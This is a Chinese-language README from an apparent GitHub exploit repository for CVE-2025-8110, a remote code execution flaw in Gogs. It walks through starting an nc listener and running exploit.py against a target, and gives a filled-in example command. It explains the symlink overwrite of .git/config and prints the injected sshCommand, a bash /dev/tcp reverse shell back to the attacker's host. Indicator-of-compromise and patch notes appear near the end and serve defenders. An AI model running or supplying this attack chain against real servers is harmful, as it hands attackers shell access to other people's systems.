X4BROZER/CVE-2025-8110
GitHub: X4BROZER/CVE-2025-8110
一个针对 Gogs 远程代码执行漏洞 CVE-2025-8110 的概念验证利用程序。
Stars: 0 | Forks: 0
# Gogs RCE Exploit (CVE-2025-8110)


CVE-2025-8110 的概念验证 - 通过符号链接绕过和 sshCommand 注入实现 Gogs 远程代码执行。
## 描述
此利用程序滥用 Gogs API 中的符号链接绕过漏洞,覆盖 `.git/config` 并注入恶意的 `sshCommand` 以执行反向 shell。
## 要求
- Python 3.12+
- 已安装 Git
- 有效的 Gogs 凭据
- Gogs API 令牌
## 安装
```
git clone https://github.com/X4BROZER/CVE-2025-8110.git
cd CVE-2025-8110
pip install -r requirements.txt
```
参数 描述
-u, --url 目标 Gogs URL(例如:http://target:3000)
-U, --username Gogs 用户名
-P, --password Gogs 密码
-t, --token Gogs API 令牌
-lh, --host 反向 shell 的本机 IP
-lp, --port 监听端口
-x, --proxy 启用代理(localhost:8080)
## 用法
#### 步骤 1:获取 API 令牌
登录 Gogs → 设置 → 应用程序 → 生成令牌
### 步骤 2:启动监听器
```
nc -lvnp 4444
```
### 步骤 3:运行利用程序
```
python3 exploit.py -u http://target:3000 -U -P -t -lh -lp
```
#### 示例
```
python3 exploit.py -u http://localhost:3001 -U amine -P amine -t 44f4e64a1e6353f247050055aa0d3cc13b577ac3 -lh 10.10.17.134 -lp 4444
```
### 工作原理
创建指向 `.git/config` 的符号链接的仓库
使用 PutContents API 写入符号链接
注入 `sshCommand = bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1' #`
Gogs 执行命令 → 反向 shell
## 故障排除
问题 解决方案
登录失败 检查用户名/密码
仓库创建失败 重新生成 API 令牌
读取超时 正常 - 检查监听器
无 shell 检查防火墙,尝试其他端口
## 入侵指标
随机 8 位字符的仓库名称
仓库中的 `malicious_link` 符号链接
`.git/config` 中的 `sshCommand`
## 修复
更新至 Gogs v0.13.4 或更高版本:
```
wget https://dl.gogs.io/v0.13.4/gogs_v0.13.4_linux_amd64.tar.gz
tar -xzf gogs_v0.13.4_linux_amd64.tar.gz
```
法律声明
本工具仅供教育和授权测试使用。未经授权访问是非法的。
致谢
发现者:Wiz Research
原始 PoC:zAbuQasem
利用程序:X4BROZER
标签:API 令牌, CSV导出, CVE-2025-8110, Exploit, Git, .git/config 覆盖, Gogs, IP 地址批量处理, PoC, Python, RCE, SSH 命令注入, Symlink 绕过, 代理, 代码执行, 凭证, 反向 Shell, 攻击演示, 无后门, 无文件攻击, 暴力破解, 监听端口, 编程工具, 网络安全研究, 远程代码执行, 逆向工具